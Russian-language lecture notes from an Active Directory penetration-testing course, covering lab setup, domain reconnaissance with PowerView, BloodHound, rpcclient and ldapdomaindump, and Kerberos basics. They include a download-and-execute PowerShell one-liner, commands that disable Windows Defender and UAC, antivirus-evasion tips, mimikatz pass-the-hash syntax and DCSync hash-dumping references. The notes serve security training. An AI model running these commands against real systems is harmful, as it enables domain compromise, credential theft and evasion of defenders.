# AD Network Infrastructure attack
Роман Алферов - преподаватель
# Занятие 10. Атаки на AD. Разведка. 29.06.2022 (Роман Алферов)
Просьба к занятию в среду подготовить небольшой локальный стенд для атак на AD:
1. Создать лес с корневым доменом lab.local, в домене lab.local должен быть как минимум 1 DC (Windowss Server 2019), 1 сервер (Windows Server 2019) и 1 рабочая станция (Windows 10). В лесу lab.local создать домен test.local (1 DC).
2. На контроллере домена lab.local выполнить след. скрипт:
IEX((new-object net.webclient).downloadstring("https://raw.githubusercontent.com/wazehell/vulnerable-AD/master/vulnad.ps1"));
Invoke-VulnAD -UsersLimit 100 -DomainName "lab.local"
3. Иметь недоменную Windows 10 и машину с Kali Linux в той же сети.
Еще просьба на доменной и недоменной Windows 10 поставить RSAT:
Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability -Online
Еще просьба на доменной и недоменной Windows 10 поставить RSAT:
Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability -Online
_________

## методология проведения атак на AD
1.Domain enumeraton - cбор данных о домене (лесе)
2. Повысить привилегии в домене (с обычного пользователя до xelp desk, админ серверов, домен админ , вертикальное повышение привилегий)
3. Закрепление, сохранение присутствия
4. Атака других доменнов, связанными доверительными отношениями, развиваем атаку

## Основные понятия AD
directory - Каталоги (база данных - некая иерархическая структура хранит информацию о объектах)
Active Directory- Служба каталогов и сервисы, которые делают доступными информацию для других пользователей : **ldap**
Objects - любые сущности объекта (имена, пароли, набор атрибутов)
shema - описание классов объекта (какой класс объектов имеет определенный набор атрибутов)
domains - коллекция административных обектов которая определяет политики безопасности доверительные отношения - административная граница для объектов
domain tree - Доменное дерево. структура состоящия из нескольких доменов и формирующая единое простанство имен
forest - Лес. несколько деревьев пространства имен связаны доверительными отношениями с корневым доменом
trust relationship -доверительные отношения - возможность пользователю одного домена подключаться к другому домену, получать доступ к другому домену




доп инфа

Список ресурсов для изучения АД. Обязательно Обращаться сюда по мере необходимости
Нам понадобится Active Directory **Core Concepts**
https://adsecurity.org/?page_id=41
## Сбор информации
ручной и автоматический

## Инструменты

**Классика инструментов под Виндовс**
* AD module (больше используют администраторы)
* PowerView (повершелловский скрипт для получения информации)
PowerView - используют пентестеры
RSAT - удобная работа в графике с АД
ADwxplorer -
LdapAdmin - утилита для работы с ldap
ADIDNSRecords - инструмент для получения записей из active directory integrative DNS
Автоматическое получение инфы
AD explorer- dump AD
BloodHound
ADRecon - повершелловский скрипт
**Инструменты под Линукс**
ldapsearch - позволяет конструировать запросы
**rpcclient** - классика
Автоматические
Bloodhound-python
enum4linux - основные
ldapdomaindump - основные
## Команды ADmodule & PowerView ручное тестирование
https://hackmd.io/@Mart/HJqJ4NDjq
## LABA
DC1
vulnerable - удалить баннер / скопировать из RAW формата и вставить
запускаем повершелл в режиме байпасс
импортируем . .\vulnad.ps1

этот скрипт создает пользователей и пароли
ВВодим в домен


Скрипт для создания структуры с ОU
https://adsecurity.org/?page_id=41
оснастки

Server Manager - tools /
win+r - вводим mmc - file - add/remove Snap-ins и добавляем оснастки (можем сохранить потом с ним работать)

прежде чем вводить в домен, сначала надо найтись

в настройках днс сервера надо вписать айпи ДК1 , иначе имя не зарезолвится

## powerview
https://github.com/PowerShellMafia/PowerSploit
во второй версии будут команды начинатся с net
Мы будем работать с 3 версией
импортируем powerview
PowerView по большей части использует ldap или rpc
**Function powerview**
https://powersploit.readthedocs.io/en/stable/Recon/README/
При запуске PowerView.ps1 вышла ошибка запрещения скриптов повершелл
Чтобы разрешить выполнение файлов с расширением .ps1
Set-ExecutionPolicy unrestricted


windows defender отключить
win+R
cmd от администратора
gpedit.msc
Windows defender antivirus
Turn Off

**либо отлючаем через реестр HKEY**
win+r
regedit.exe
```
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:00000001
"DisableAntiVirus"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
"DisableRealtimeMonitoring"=dword:00000001
```
## Domain
get-domain - иформация о домене

**Ставим ADmodule**
github nishang AD module
https://github.com/samratashok/ADModule

Пишем 2 команды и модуль работает
* PS C:\> Import-Module C:\ADModule\Microsoft.ActiveDirectory.Management.dll -Verbose
* PS C:\> Import-Module C:\AD\Tools\ADModule\ActiveDirectory\ActiveDirectory.psd1

Либо ставим **RSAT**

get-help
**Настраиваем пересылку**
на ДК
server manager - tools - DNS - Conditional Forwaders

Настраиваем Сonditional Forwarder

Получаем информацию о домене с которым доверительные отношения test.local
Get-DomainSID - получаем сид текущего домена
Get-ADDomain

Информация о другом домене
* Get-addomain -identity test.local

Get-DomainPolicy - какие парольные политики настроены (позволяет соориентироваться при **атаке Password spraying**) https://spy-soft.net/tools-for-password-spraying-attacks/

LockoutBadCount=0 - аккаунты не блочатся
Парольные политики помогают соориентироваться какие пароли в АД
Парольные политики хранятся в **default domain policy - получаем через SMB** (хранится в груповой политике , а не в ldap)
PowerView работает через ldap на порту 389

ADModule использует порт 9389 (active directory web services)

Использует SMB - Идет на шару, парсит групповую политику default domain policy и вытаскивает парольную политику

(Get-DomainPolicy).systemaccess
**Отключить Windows defender через powershell** от имени админа
Set-MpPreference -DisableRealtimeMonitoring $true
Получение домен контроллеров
Get-DomainController

Чтобы найти ДК - машина всегда будет смотреть в ДНС (таким способом пользуются рабочие станции для поиска домен контроллера, ищут dns запись типа srv)

Можно через nslookup
nslookup -type=SRV _ldap._tcp.dc._msdcs.lab.local

Это самый правильный способ поиска ДК на пентесте
## Пользователи
Получение пользователей
Get-DomainUser

Get-DomainUser -Properties samaccountname - покажи свойство только имена пользователей

выводим свойства конктретного юзера
Get-DomainUser -Identity user

А еще можно открыть остастку Active Directory Users and Computers
Еще можно открыть эту оснастку
win+r
dsa.msc
View - Advanced Features - расширенные свойства
Во вкладке Attribute editor смотрим аттрибуты которые есть у пользака 
Свойства АД юзеров (краткая инфа)
* Get-ADUser -Filter *
Расширенная инфа о юзерах
* Get-ADUser -Filter * Properties *
Если свойства не помещаются в экран будут ... , для этого вводим (-ExpandProperty)
* Get-domainuser -Properties samaccountname | Select -ExpandProperty samaccountname (имена всех польз)
Имена пользователей с выводом в файл для атаки Password Sprating (создали словарь)
* C:\Tools\ADModule> Get-domainuser -Properties samaccountname | Select -ExpandProperty samaccountname | Set-content usr.txt

Получение информации о компьютерах (машинных учетных записей)
Можно извлечь хэш машинной учетной записи из хранилища lsa secrets и использовать для аутентификации в домене
## Компьютеры
Получить список доменных машин
* Get-DomainComputer -Properties dnshostname

Фильтруем по операционной системе
* Get-DomainComputer -OperatingSystem "*Server 2019*" -Properties dnshostname
Аналогично есть и у АД модуля
## Группы
C помощью powerview можем получить информацию о группах (группы используются при разграничении доступа, так же могут использоваться фильтры групповых политик)
* Get-DomainGroup

Вывод информации о конкретной группе
* Get-DomainGroup "domain admins"

В поле memberof видим членов этой группы
Получить все группы конкретного пользователя
* Get-DomainGroup -UserName user | select samaccountname

Аналогичные команды есть у АД модуля
Группы в которой содержатся все админ
* Get-DomainGroup "* admin*" -Properties samaccountname

Кто входит в какую группу
* Get-DomainGroupMember "domain admins"

Лучше делать Рекурсивно - кто входит в группу
* Get-DomainGroupMember "domain admins" -Recurse | select -expand membername (expand - полностью показать имя)

Эти команды будут получать ответ через ldap
А можно через встроенную утилиту NET, через RPC(удаленный вызов процедуры), summer protocol - получить инфу о членстве в группах
* net group "domain admins" /domain

**Лучше использовать ldap - он менее подозрительный**, так как протокол summer не любят IDS и дает аллерты.

Вызываем функцию enumDomainUsers на домен контроллере, прошли аутентификацию(керберос) и получаем список доменных юзеров
SAMR удаленно идет в память процесса Lsass - библиотека SecurityAccountManager- SAM dll (как будто на этой машине, но по сети дергаем) - но это очень палевно (он юзает 445 порт)
Запрос парольной политики
* net accounts /domain

Перечесление групп на удаленной машине
Получить группы локальные на (если есть права администратора) - через протокол summer на powerview
* Get-NetLocalGroup -ComputerName srv1

## Групповые политики (используются для раскатки различных настроек на машинах)
позволяют управлять конфигурациями компьютеров, параметрами безопасноти.
Находятся в реестре - win+r - regedit
Применимые на пользователя хранятся в HKEY_CurrentUser -текущий пользователь (подветка Hkey_local_machine)
Групповые политики применяются на ОU (папки- группировка объектов)


Поигрались с групповыми политиками, добавили юзера sales в администраторы на пк client1
**Default DOmain Policy** находятся парольные политики
Через АД модуль групповые политики нельзя смотреть.
Через **PowerView** можно смотреть названия, информацию, на кого они действуют , но нельзя смотреть настройки.
Вывод списка груп политик
* Get-DomainGPO | select displayname

Добавляем в группу кого-то еще
В локальной группе администраторов находятся
* net localgroup administrators
Добавили юзера sales в группу администраторов в политике


**Обновление групповых политик**
* gpupdate /force
Групповые политики хранятся в папке
* \\lab.local\sysvol
**sysvol - сетевая папка**


Подробная информация о политиках
* Get-DomainGPO
Показывает путь, где находится политика

Открыли политику

Через свойство GPlink она привязывается к ОU
Через Restricted groups мы раскатали локальных админов и в групповых политиках отражается наша созданная политика
* Get-domaingpolocalgroup

Конвертирует сид в имя
* Convert-SidToName ____имя sid
Кто есть в локальных админах на конкретном компе
* Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity

Посмотреть на каких компах админ этот пользователь
* Get-DomainGPOUserLocalGroupMapping -Identity sales -Verbose
парсит gpo & restricted group и смотрит в какие локальные компьютеры его добавили в группу админстраторов через политику WS_Asmins

Политики для конкретного компа
* Get-NetGPO -Computername srv1 | select displayname

**Еще важно на пентесте:**
**Получить список всех груп политик**
* Get-DomainGPO
**Настройки**
(оснастка gpmsc не заработает)
В этом случае на повершелле есть сохранение всех групп политик с настройками в html
* Get-gpoReport -all -reporttype html -path c:\all_gpos.html
сохраняет все груп политики локально



Можно этот файл спарсить
* Get-help get-gporeport - справка по гпо репорт
Можно с недоменной тачки сдампить груп политики указав домен и сервер
Можно сохранить save report или сбэкапить груп политики (если есть gpmc) - Group Policy Objects - BackUp (cохранит папку и потом можно у себя восстановить ее)

## OU (organizational unit)
Все ОУ
* Get-DomainOU | select name

При введении команды Get-DomainOU
можем увидеть gplink, в которой есть номер ее.
Через идентификатор получим его GPO

ПОлучить gplink определенной ОУ
* (Get-DomainOU -Identity Workstations).gplink

## ACL - access list
У каждого объекта есть дискриптор безопасности- структура данных, который используется при авторизации (проверки) доступа субъекта к объекту.

В дисктрипоторе безопасности есть структура - **Dacl, Sacl**
Dacl - дискриптоционный список контроля доступа (используется для определения кто и по каким меткам имеет доступ к объекту(файл, процесс и тд)) - при осуществлении доступа субъекта к объекту проверяется DACL, дискриптор защиты (совокупность всех ace - состоит из типа, security principal, прав доступа)
Sacl - system access control
Это DACL (совокупность всех асе)

а это все асе


Показывает все права доступа конкретного субъекта (юзера) применяемые к конкретному объекту

Смотрим для группы домен админ АЦЛ
* Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose

Все пользователи которые имеют опасные права на объект домена
```
Get-ObjectACL "DC=lab,DC=local" -ResolveGUIDs | ? {($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'GenericWrite') -or ($_.ActiveDirectoryRights -match 'WriteDacl') -or ($_.ActiveDirectoryRights -match 'WriteOwner') -or ($_.ActiveDirectoryRights -match 'WriteProperty') -or ($_.ObjectAceType -match 'Replication-Get') } | sort SecurityIdentifier -Descending -unique | select SecurityIdentifier | foreach {$_.SecurityIdentifier} | Convert-SidToName
```

Опасные права
```
Get-ObjectACL -ResolveGUIDs | ? {($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'GenericWrite') -or ($_.ActiveDirectoryRights -match 'WriteDacl') -or ($_.ActiveDirectoryRights -match 'WriteOwner') -or ($_.ActiveDirectoryRights -match 'WriteProperty') -or ($_.ObjectAceType -match 'Replication-Get') } | select SecurityIdentifier,objectdn,ActiveDirectoryRights | foreach { 'Subject: {0} --- Object: {1} --- Right: {2}' -f (Convert-SidToName $_.SecurityIdentifier), $_.ObjectDN, $_.ActiveDirectoryRights}
```
Поиск интересных access list в домене (ищет нестандартные ацл)
* Find-InterestingDomainAcl -ResolveGUIDs


Можно считать что этот польз - домен админ.
(нашлись права репликации - вытаскивание хэшей всех учетных записей домена) - это мисконфиг / уязвимость / польз имеет право как домен админ/ дамп хэшей ntds
Опасные права для определенного юзера
* Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "user"}
Можно получить ацл для объекта в ад модуле
* Get-ACL 'AD:\CN=Domain Admins,CN=Users,DC=lab,DC=local' | select -ExpandProperty Access
Чтобы сдампить все ntds нам надо 2 права -replication getchanges/ getchangesall

Можем сделать атаку через secretsdump
Все хэши сдампили

# Занятие 11 04.07.22
## ACL
Продолжаем разведку в АД

Раскрываем право Extended right
Extended rights
Как работает Акцесс листы и АД
https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf
Существуют 2 типа асе:
Generic ACE, Object-specific ACE

Generic ACE: размер, тип, флаги, маска доступа аце, СИД
Generic-specific ACE - размер, тип, флаги, маска доступа, object type (важное поле)(содержит ГУИД(определенный идентификатор) который определяет в маске доступа - какое расширенное право в этом аце прописано)
Сама маска - 32 битное число

Выставляя отдельные биты -буде давать определенные права доступа
Generic ALL (10000000)

Object-specific - DS Control access - Это называется **Extended right**

Получим сид пользователя elka diana

Получим ACL объекта домена и отфильтруем асе по идентификатору пользователя (в моем случае вместо elka будет kellie)
* $kellie_sid = Get-DomainUser kellie* | select -ExpandProperty objectsid
* $kellie_sid
И фильтруем (получаем objeckACL для объекта домена и фильтруем те асе у которых значение поля securityidentifier с сидом пользователя)
* Get-DomainObjectAcl "DC=lab,DC=local" -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $kellie_sid}


Поле **objectAceType** Вот здесь guid и PowerView транслировал его в название


**3 права дают делать DCsync** - репликацию АД
getchanges, getchangesall, getchanges-in-filtererd-set
Aтака DCsync https://spy-soft.net/dcsync/
```
Для атаки DCSync необходимы специальные права. Любой член групп «Администраторы» и «Администраторы домена», а также учетных записей компьютеров контроллера домена может выполнить репликацию данных, используя протокол репликации каталогов DRS. Таким образом клиентский DC отправляет запрос DSGetNCChanges на сервер, когда хочет получать от него обновления объектов AD. Ответ содержит набор обновлений, которые клиент должен применить к своей реплике NC.
DS-Replication-Get-Changes — это разрешение необходимо для репликации только тех изменений, которые также реплицированы в глобальный каталог.
DS-Replication-Get-Changes-All — разрешение позволяет репликацию всех данных.
```
Получаем ACЕ без резолва гуид (работает от ADModule)
* (Get-acl 'AD:\DC=lab,DC=local').Access

Можем посмотреть в ADUC (Active Directory Users and Computer)
lab.local -> properties -> security -> advanced

GUI утилита уже разрезолвила гуиды
В совокупности эти права дают право делать DCSync
Получаем список групп локальных от имени лаб/юзер
* Get-NetLocalGroup -ComputerName srv1.lab.local -verbose

ДОбавляем юзера в локальные админы через консоль
* net localgroup administrators user /add


По поводу обхода антивирусов, у нас есть папки с исключениями, которые можно в ГУИ посмотреть - туда копируем то что нужно и ниче не палится. Либо антивирус отключить нажав на выход процентов 70% такое бывает.
Чтобы **не палился PowerView** дефендерем - переименовываем метод / **убираем комментарий из скрипта** - самая простая обфускация
## Доверительные отношения
Отношения между 2 доменами или лесами позволяющие одному домену/лесу получать доступ к ресурсам в другом домене / лесе с его учетными записями( после аутетификации они попадут в группу autentificated users)
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc773178(v=ws.10)
Есть автоматические
и Вручную установленные
**Направления доверительными отношениями**
**One way trust**

Направление доступа обратно направлению траста

**two-way-trust / Bidirectional**

Транзитивность - доверительные отношения доверяют домену. Домен А доверяет В, а домен В доверяет С, значит А доверяет С.
Могут быть транзитивные отношения В лесу и не в лесу

Нетранзитирвность - польз домена А не доверяют польз домену С
В лесу бывают **tree-root trust** доверительные отношения с корневым доменом леса , **parent-child trust** дов.отнош. между доменом родителем и доменом дочерним - они вдусторонние транзитивные (автоматически формируется внутри леса.)
Какие отношения бывают не в лесу

это автоматические довер отношения - tree root, parent-child
1 домен в лесу - корневой
**Ручные трасты**
External trusts могут быть односторонние и двусторонние (довер отношения между доменами в разных лесах) - нетранзитивность

Можем в ручную настроить
**Forest trust**
Делается между корневыми доменами , он устроен так что направления могут быть one-way/ two-way , но эти дов отношения между лесами *не транзитивные*

Есть 3 типа групп - локальные, универсальные, глобальные. Глоб, универс - могут использоваться для довер отношений в рамках лесов.
Изучить подробно на сайте майкрософт
**Инструменты**, которые могут это перечислять
PowerView
ADModule
Доверительные отношения
* Get-DomainTrust

Имеем доверительные отношения между доменами, Trust - Forest, Bidirectional
Доверительные отношения для другого домена
* Get-DomainTrust -Domain test.local
(в днс настраивали conditional forwarder in DNS Manager)



все равно не хочет принимать наш днс сервер
Доверительные отношения для текущего домена

Для **АД модуля**
* Get-ADTrust -Filter *
* Get-ADTrust -Filter * -Server test.local

* ncpi.cpa - открывает интернет адаптеры

* powershell -ep bypass - запуск консоли повершелл
* ipconfig /flushdns - очистить кэш ДНС
## Лес
Инфа о текущем лесе
* Get-Forest

Домены в лесу
* Get-ForestDomain

АДМодуль
Информация про лес
* Get-ADForest
## Сессии пользователей (кто куда залогинен)
PowerView & BloodHound могут дергать разные ручки(api) на компьютере и спрашивать кто залогинен на машине.
Вписать команды и обознанчение

4 ручки - RPC
* Поиск залогиненных юзеров:
1. Get-LoggedOnLocal ~ Get-RegLoggedOn (появляется ключ новый в реестре, в удаленном реестре есть имя пользователя)
2. Get-NetLoggedon (adm) (вошли в систему - сессия lsas)
3. Get-NetSession (smb сессия)
4. Get-LastLoggedOn –ComputerName <servername> (adm)

БладХаунт использует эти 3
Заенумим пользователя выполнившем вход на сервер
Смотрим трафик и какие ручки дергаются
На DC1 вошли под админом, на 10 смотрим ваершарк
смотрим сессии
*


Дергаем функцию NetSessEnum - но ошибку вернул
Инициируем сессию на ДК

Предварительно вошли на сервер под локальным админом
**SMB сессия** - пключаемся к шаре с одной машины на другую
______
**Rpc client commmands**
https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html
_____
Входим под доменной учеткой
LAB\Adminixtrator - домен админ
Показал куда залогинен (запуск от админа)
* Get-NetLoggedon -ComputerName srv1.lab.local -verbose

**Удаленный реестр служба**
win+R
services.msc
Remote regestrty - запустили
Дергает функцию NetWkstaEnumUsers , нам возвращаюсь список залогиненных пользователей

Получаем список всех компов в домене и заенумим сессии
Get-DomainComputer | Get-NetSession -Verbose


через удаленный реестр regedit открывает HKEY_USERS, енумит ключи, конвертит сид в имя пользователя
* convert-SidToName

## DNS
Когда мы поднимаем АД, прописываем ДНС зоны, то они хранятся в АД
ADIDNS - показывает что прямо в ад хранит зоны
https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/
DNS записи в Актив Директори
->Sever Manager -> ADSI Edit -> Connect to -> Connection setting -> Вбиваем свой поинт(раздел для подключения)


DNS В active directory

Любой доменный польз может добавить ДНС запись и читать, но не удалять ( обычно разрешают читать, а добавлять только компам)


Мы можем зону everyone сдампить
**Утилитки под линукс**
Можем сдампить зону любым доменным польз
**adidnsdump**
https://github.com/dirkjanm/adidnsdump
Install


adidnsdump -u lab/user -p 'Password' IP

**Утилита под винду**
**ADIDNSRecords**
https://github.com/dev-2null/ADIDNSRecords/
Сдампим все ДНС записи в файл
* .\ADIDNSRecords.exe all > records.txt




C доменной учетки прошла аутентиф и вытащила записи
Подключается к LDAP и вытаскивает (389 порт)
## Команды AD recon
https://hackmd.io/@Mart/B1EUnUPjq
Как с недоменной виндовой машины все тоже самое делать:
В качестве днс мы указали домен контроллер (который позволит разрезолвить srv записи и получить адреса домен контроллеров )- сканим порт 53 и узнаем( обычно по дхцп днс сервер мы получим)
win+r -> ncpa.cpl (сетевые подключения)
**Runas**
* runas /USER:DOMAIN.LOCAL\user /netonly "powershell -ep bypass"
netonly - аутентификационные данные будут использоваться только при сетевом доступе
Если не отрабатывает команда и нет подключения к домену, то включен UAC (https://geekon.media/zachem-nuzhna-uac-w10-11848/)
Отключить можно командой
* C:\Windows\System32\cmd.exe /k C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f


* Get-DomainUser -Properties samaccountname
* klist -Инфа о тгт билетах

! Главное смочь найти домен контроллеры и днс сервер
* get-addomain -server lab.local (ад можулю надо подсказывать имя домена/сервера)

**ЗАпуск Оснасток** - не будут работаать все
* mmc /domain=lab.local
->file -> Add or Remove Snap-in

Добавим оснастки

Можно посмотреть доверит отношения из сhange forest -> lab.local - properties - trust

Сверху - исходящий траст
Снизу - входящий
Если эта тачка была бы в другом лесу - то нам надо выбрать view - options - поставить галочку - игнорировать доверительные отношения и заработают Групповые политики
C помощью **mimikatz** можем подкидывать хэш вместо пароля
https://www.cobaltstrike.com/blog/how-to-pass-the-hash-with-mimikatz/
* sekurlsa::pth
* sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:COMMAND
C опцией credencial PowerView
* Get-netDomain -credential LAB\user

# Автоматические инструменты
## AD explorer
скачать можно с офиц сайта майкрософт
https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer



Можем добавить атрибут юзеру / удалить атрибут/ искать / сдампить



Нашли польз у которого пароль есть в дискрипшн

Нашли все объекты
Можем сдампить - через сохраниение
Всегда сохранять в файл инфу.
## **Под линукс**
### RPC client - дергает rpc в кали
https://www.hackingarticles.in/active-directory-enumeration-rpcclient/
Укажем в sudo /etc/resolv.conf - днс сервера
* rpcclient -U lab/user%'1234' 192.168.183.101

Получаем через РПС всех доменных польз
* enumdomusers
Дернули api enumdomainusers - все юзеры

Получили все группы
* enumdomgroups

### **Enum4Linux** **Обертка на РПС клиент** (она знает ручки rpc и сама их дергает)
* enum4linux -a -u user@lab.local -p '1234' 192.168.183.101
все вытащил
-a енумим все
-u user
-p password

Пишем это в файл и Можно потом погрепать
* enum4linux -a -u user@lab.local -p '1234' 192.168.183.101 > res.txt
* cat res.txt | grep -i pass

### Linwinpwn
Альтернатива от Исраэля
```
Я на работе использую **linwinpwn**
в виде автоматического рикона
```
https://github.com/lefayjey/linWinPwn
### **Ldapdomaindump** - супер классика
https://github.com/dirkjanm/ldapdomaindump
* pip install ldapdomaindump

Указываем домен, пользователя, пароль
* ldapdomaindump -u LAB\\user -p '1234' 192.168.183.101


Сдампил многоо инфы - можно грепать и смотреть (например через браузер)
* firefox domain_users.html

Доверительные отношения

**Самое классное что это есть в grep , json формате (jq -r и любой атрибут парсим)**
*Препод всегда дампит через ldapdomaindump, adexplorer, bloodhound, парсинг политик через powershell в html вручную*
### **BloodHound**
https://github.com/BloodHoundAD/BloodHound
Wiki

https://bloodhound.readthedocs.io/en/latest/index.html
Cтавим под винду
скачиваем **Oracle jdk** (потому что на java написано)
Используем 11 версию OpenJDK
https://docs.microsoft.com/en-us/java/openjdk/download#openjdk-11
Cккачиваем **neo4j** - распаковываем

Далее заходим в папку bin
Запускаем powershell en by (ставим его не как сервис, чтобы мы видели ошибки)


запустили субд в консольном режиме
* .\neo4j.bat console

Перешли в браузер
http://localhost:7474/
по дефолту neo4j:neo4j - логин и пароль
Чето добавили javapath


проверка создания переменных
* set | findstr /I java
Но роман их не создавал
neo4j & субд работает
Cлед шаг
Чтобы подключится к субд надо скачать **клиента bloodhound**
https://github.com/BloodHoundAD/BloodHound/releases/download/4.1.1/BloodHound-win32-x64.zip

Распаковываем и Запускаем BloodHound.exe

Это сервер блод хаунда - где будем парсить дамп.
Лучше делать мощный сервер блод хаунда, иначе будет медленно дампить на мноого компов.

Качаем sharpHound.ехе
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
Естественно бинарник палится - есть разные инструменты для обфускации https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html#sharphound-vs-antivirus

По мнению препода через эту ветку не палился https://github.com/BloodHoundAD/SharpHound3/tree/gentle_ldap
Скачиваем, билдим
**SharpHound** - инструмент для сбора информации
Запускаем из папки где он находится, прописваем в пути:
powershell -ep bypass
Используем **runas** со своей недоменной тачки
* runas /USER:LAB\user /netonly "powershell -ep bypass"
ЕСть множество инструентов SharpHound, все флаги есть в справке https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html

Мы можем комбинировать Сollection Method
Использует ldap, rpc
Если у нас пентест - то берел ALL, GPO groups - берем по максимуму инфу
.\SharpHound.exe -c all,gpolocalgroup,localgroup

Соединился с ДК
Заенумил домен и сформировал папку


Запуск sharpHound в цикле
* C:\> SharpHound.exe --CollectionMethod LocalGroup --Loop
https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html#loop
`На большой домен надо 4 гига оперативки`
Теперь копируем на сервер bloodHound & Upload data



Рекомендация - прощелкать все что тут есть

Есть запрос(отображается внизу) - который мы можем редактировать
В настройках включаем query debug mode & Always display -будет отображаться имя и Raq Query (запрос)

Пользователи имеющие право getChangesAll - можно делать DSCync


Короткие пути до домен админа

Редактируем запрос и копируем туда ( часто правят запрос)
Can RDP - убираем, потому что для подключения по РДП надо повышаться
Еще добавим в запрос права DCSync
GetChanges

Подсказка как заобъюзить через хелп
Выводит команды и доп инфу

Инфа о юзере

Кто контролирует нашего юзера

Можно узнавать пути

Самые короткие пути сюда

IT admins - show path to here


Серверные ключи (шифруются все тгт билеты керберос)
KRBTGT@lab.local

До объекта домена
LAB.LOCAL

## Кастомные запросы
https://github.com/SecureAuthCorp/impacket/pull/857
Пример:
* MATCH p=(a:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(b:Computer) RETURN p -Комппьютер a - член группы- входит в группу локальных админов - компьютер b
* MATCH p=(a:Computer)-[r:AdminTo]->(b:Computer) RETURN p - компьютер a - админ на - компьютер b
**Если есть связи** то можно через Printer bug дернуть 1 комп и зарелеить на другой комп, с exchange такая штука часто прокатывает

Какой компьютер админ на компьютере

Сохраняем свой запрос + выбираем категорию - dangerous rights

Можно задать файлик и оттуда брать кастомные запросы
**Ссылки с кастомными запросами**
https://twitter.com/n00py1/status/1508868743451090944?s=20&t=Uktx170vtJevUupg5qDYyw - крутые хинты
https://github.com/SadProcessor/Cheats/blob/master/DogWhispererV2.md
https://blog.compass-security.com/2020/07/make-the-most-out-of-bloodhound/
https://medium.com/@riccardo.ancarani94/bloodhound-tips-and-tricks-e1853c4b81ad
https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/bloodhound/Handy-BloodHound-Cypher-Queries.md
https://github.com/knavesec/Max - maximize bloodhound
```
В процессе постоянного изменения запроса кастомного , постоянно экспериментируя , изучая, смотря группы, к разным учеткам и тд, меняя, добавляя методы -
в таком процессе мы получаем вектор, позволяющий домен скомпрометировать.
Заметили интересную группу/юзера - помечаем как high well you
100% компрометация - от help desk, server admin, админов антивирусов, админов виртуализации.
Нужно искать пути до их рабочих станций.
Нешаблонно действуем.
```
**Инджесторы-коллекторс постоянно обновляются на винде** по этому на винде лучше запускать

## bloodhound suggester for linux
**Под линукс** не обновляется
* pip3 install bloodhound


* ./bloodhound-python -h
* ./bloodhound-python -u user -d lab.local -p 'Password'

Cобрал, Дальше в зип запаковать и скормить блодхаунду
# Занятие 12. Kerberos Kerberoasting & Pass the Ticket.
ВАЖНО ЗНАТЬ ГЛУБЖЕ ЭТОТ ПРОТОКОЛ
Керберос (верс 5) - один из самых основных в АД протоколов

Смотрим РФС
https://datatracker.ietf.org/doc/html/rfc4120
Здесь все написано. Если есть вопросы - то тут есть ответ.
Какие ключи, как это все работает

Имя из мифилогочии - назван в честь 3-х голового пса, который защищал вход в подземный мир.
3 головы кербероса:
Клиент
Сервер
Довереннная 3 сторона - kDc (центр расрпеделения ключей)

Наиболее безопасный протокол аутентификации в виндовом домене.
Использует симмметричную криптографию, он базируется на разделяемых секретных ключах
## kerberos infrastructure

Поддержка керберос встроена в АД , когда говорим **РЕАЛМ - это домен виндовс**
Поддерживает аутентиф между доменами и лесами

ИНформация аутентификационная / ключи для кербероса Хранится в AD Базе Данных NTDS.
Домен контроллер выступает в роли центров распределения ключей **KDC**
Каждый Запускает 2 сервиса:
AS аутен service - использ для начальной доменной аутентификации
TGS (ticket granting service) - обрабатывает аутен для доступа к разл сервисам
Керберос еще Зависит от сервиса **net logon** **DNS** и **сервера времени** (они обычно на ДК запущены).
ДНС нужен чтобы машинка нашла KDC.
Сервер времени - расхождение с ДК не может быть больше 5 минут (kerberos time skew)
Обычно они запущены в НТДС
В керберосе критично время и важно, если будут расхожждения то будут ошибки.
**ntpdate [DC-IP]**
ПОльзователи которые использ керберос - должны быть в ад.
## Плюсы Керберос

* ССО - пользователь заходим на машинку и может иметь бесшумный доступ к разным сервисам, которые поддерживают керберос на протяжении 10 часов(по дефолту)
* Делегация аутентификации- делегирование керберос (веб сервер сходить в бд от имени клиента подключаемого к серверу )
Система аутен построенная тикетах и пароли локально не хранятся.
Взаимная аутентификация - клиент <- аутентификация -> сервер
Метки времени, которые минимизирует возхможность реплея сообщений
Стойкое шифрование АEС (гарантируется что надежно защищено от прослушивания и различных атак на криптографию)

Можно сравнить с банковскими картами , так и билетами в театр.
Польз аутен и получает мастер тикет TGT, который действует 10 часов и хранится в локальной памяти компа.
ПОльз использ ТГТ Билет может представить Сервису тгт билет и запросить сервисный билет ТГС ( использ банк карту(TGT) можем купить билет в театр и получаем доступ к театру(TGS)) к опред сервису на определенное время.
Сервис тикет - Сервисный билет.
Использует симметричное шифрование

ДЛя зашифров использ 1 алгоритм и 1 ключ
Поступает ключ и открытый текст
